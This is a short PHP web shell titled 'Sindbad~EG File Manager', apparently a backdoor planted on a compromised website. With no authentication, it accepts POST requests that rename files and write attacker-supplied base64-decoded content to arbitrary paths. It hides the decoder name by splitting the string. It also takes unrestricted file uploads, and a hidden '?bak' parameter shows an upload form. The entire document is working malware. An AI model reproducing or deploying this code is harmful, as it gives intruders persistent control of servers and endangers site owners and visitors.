Sindbad~EG File Manager

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'ba'.'se'.'64'.'_deco'.'de'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>
<?php if (isset($_GET['bak'])) { echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>"; } ?>